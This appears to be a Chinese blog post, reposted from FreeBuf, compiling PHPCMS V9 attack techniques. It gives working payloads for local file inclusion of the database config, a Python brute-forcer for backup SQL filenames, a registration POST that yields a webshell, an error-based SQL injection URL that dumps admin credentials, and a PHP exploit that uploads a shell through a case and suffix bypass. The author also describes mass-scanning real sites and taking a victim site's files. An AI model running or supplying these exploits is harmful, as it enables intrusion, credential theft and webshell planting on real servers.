phpcms 漏洞姿势

一 .PHPCMS V9本地文件包含漏洞

漏洞出现在如下文件:phpcms/modules/search/index.php

代码如下:

phpcms 漏洞姿势_第1张图片

本处大家会发现在使用file_get_contents函数时没有过滤get方式得到的m参数
因此可以构造payload如下

www.xxx.com/m=search&a=public_get_suggest_keyword&q=../../phpsso_server/caches/configs/database.php

如果存在漏洞即可成功读取到phpcms的数据库配置文件,如图

在这里插入图片描述

二. phpcms V9 sql备份文件名爆破

参考文章:phpcms V9 sql备份文件名爆破

payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql

我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用
而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作

phpcms 漏洞姿势_第2张图片

在/api/creatimg.php文件中,使用了file_exists()函数判断 f o n t f i l e 文 件 是 否 存 在 , 文 件 存 在 和 不 存 在 的 返 回 信 息 是 不 同 的 , 而 且 fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且 fontfilefontfile可以被用户控制,且未过滤.和/等符号,最终导致了漏洞发生。

#/api/creatimg.php

爆破脚本如下:

#!/usr/bin/env python

# coding=utf-8

”’/*

    * author = Mochazz

    * team   = 红日安全团队

    * env    = pyton3

    *

    */

”’

import requests

import itertools

characters = “abcdefghjklmnopqrstuvwxyz0123456789_!#”

backup_sql = “”

payload = “/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<”

url = “http://192.168.0.106″

flag = 0

for num in range(1,7):

    if flag:

        break

    for pre in itertools.permutations(characters,num):

        pre = ”.join(list(pre))

        payload = payload.format(location=pre)

        r = requests.get(url+payload)

        if r.status_code == 200 and “PNG” in r.text:

            flag = 1

            backup_sql = pre

            payload = “/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<”

            break

        else:

            payload = “/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<”

print(“[+] 前缀为:”,backup_sql)

flag = 0

for i in range(30):

    if flag:

        break

    for ch in characters:

        if ch == characters[-1]:

            flag = 1

            break

        payload = payload.format(location=backup_sql+ch)

        r = requests.get(url + payload)

        if r.status_code == 200 and “PNG” in r.text:

            backup_sql += ch

            print(“[+] “,backup_sql)

            payload = “/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<”

            break

        else:

            payload = “/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<”

print(“备份sql文件地址为:”,backup_sql+”.sql”)

效果如下:

phpcms 漏洞姿势_第3张图片
拿到SQL文件后,可以导入本地查看,后续操作这里不多加赘述

三、PHPCMS前台上传getshell

漏洞复现参考(https://www.hackersb.cn/hacker/219.html)

漏洞复现的办法是先打开注册页面:

www.xxx.com/index.php?m=member&c=index&a=register&siteid=1]www.xxx.com/index.php?m=member&c=index&a=register&siteid=

然后向注册页面POST如下payload:

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=&dosubmit=1&protocol=
然后就会报错并返回shell地址:
phpcms 漏洞姿势_第4张图片

然后就可以连接啦。

phpcms 漏洞姿势_第5张图片

但我在实战测试过程中发现这个漏洞由于危害极大,基本上都已经被运维打补丁了,因此现在存在这个漏洞的站点并不是很多

五、PHPCMS利用authkey泄露进行注入

众所周和PHPCMS在拿到authkey(这边简称key吧),便有一大堆注入,在此给大家简单讲解一下

首先分享一下爆出key的payload

www.xxx.com/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

phpcms 漏洞姿势_第6张图片

如图中的XI0G8h0TYyWTwZMFIgN9nxHUN9Syymf便是我们所说的key

拿到key后,我们该怎么办呢?

我们这边使用一个名为a.php的exp(exp请回复后下载)

大家可以使用phpstudy安装PHP环境

用法:将a.php丢到phpstudy配置的网站根目录中

访问url:

http://localhost/a.php?url=你要测试的url(不要加http)&key=你得到的key&id=userid=1%20and%20(SELECT%201%20FROM(SELECT%20count(*),concat((SELECT(SELECT%20concat(0x7e,0×27,cast((substring((select+concat(0x7e,0×27,username,0x3a,+password,+0x3a,+encrypt,0×27,0×40,0x7e)+FROM+`v9_admin`+WHERE+1+limit+0,1),1,62))%20as%20char),0×27,0x7e))%20FROM%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20FROM%20information_schema.columns%20group%20by%20x)a)

即可得到后台账号和密码,但是密码是加了salt的,大家可以去
http://cmd.la进行解密,但是是要收费的,你懂得

phpcms 漏洞姿势_第7张图片
然后使用解出的明文密码登录www.xxx.com/admin.php即可~

六、利用fuzz框架批量检测PHPCMS漏洞

我作为一名懒人,叫我一个个地手动检测漏洞是很不现实的,因此我选择使用test404的一款http fuzz框架实现批量检测
简单地编写了一下上述漏洞的插件,采集url进行批量fuzz,效果还是很不错的
如图是使用爆key插件的结果(还有很多了,不一一展示)
这些爆出key的大部分都是存在SQL注入的

image.png有时候还会有福利,搞到个美女图片站什么的,把资源全部打包爽歪歪。。。image.png
至于插件一类的,大家可以阅读原文下载哈~

七、后缀绕过漏洞(apache服务器)

漏洞文件:phpcms\modules\attachment\attachments.php
后缀检测:phpcms\modules\attachment\functions\global.func.php

Fileext函数是对文件后缀名的提取。
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
我们回到public function crop_upload() 函数中

if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();

在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。

PHPCMS V9 EXP

';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if ($ret=Create_dir($url, $path)) {
    //echo $ret;
    $pattern = "|Server:[^,]+?|U";
    preg_match_all($pattern, $ret, $matches);
    if ($matches[0][0]) {
        if (strpos($matches[0][0], 'Apache') == false) {
            echo "\n亲!此网站不是apache的网站。\n";
            exit;
        }
    }
    $ret = GetShell($url, $phpshell, $path, $file);
    $pattern = "|http:\/\/[^,]+?\.,?|U";
    preg_match_all($pattern, $ret, $matches);
    if ($matches[0][0]) {
        echo "\n".'密码为: '.$pass."\n";
        echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";
        exit;
    } else {
        $pattern = "|\/uploadfile\/[^,]+?\.,?|U";
        preg_match_all($pattern, $ret, $matches);
        if ($matches[0][0]) {
            echo "\n".'密码为: '.$pass."\n";
            echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";
            exit;
        } else {
            echo "\r\n没得到!\n";
            exit;
        }
    }
}
 
function GetShell($url, $shell, $path, $js)
{
    $content =$shell;
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url, 80);
    if (!$ock) {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";
        exit;
    } else {
        fwrite($ock, $data);
        $resp = '';
        while (!feof($ock)) {
            $resp.=fread($ock, 1024);
        }
        return $resp;
    }
}
 
function Create_dir($url, $path='')
{
    $content ='I love you';
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url, 80);
    if (!$ock) {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";
        exit;
    }
    fwrite($ock, $data);
    $resp = '';
    while (!feof($ock)) {
        $resp.=fread($ock, 1024);
    }
    return $resp;
}
?> 

原文 https://www.freebuf.com/column/180754.html

你可能感兴趣的:(CMS漏洞)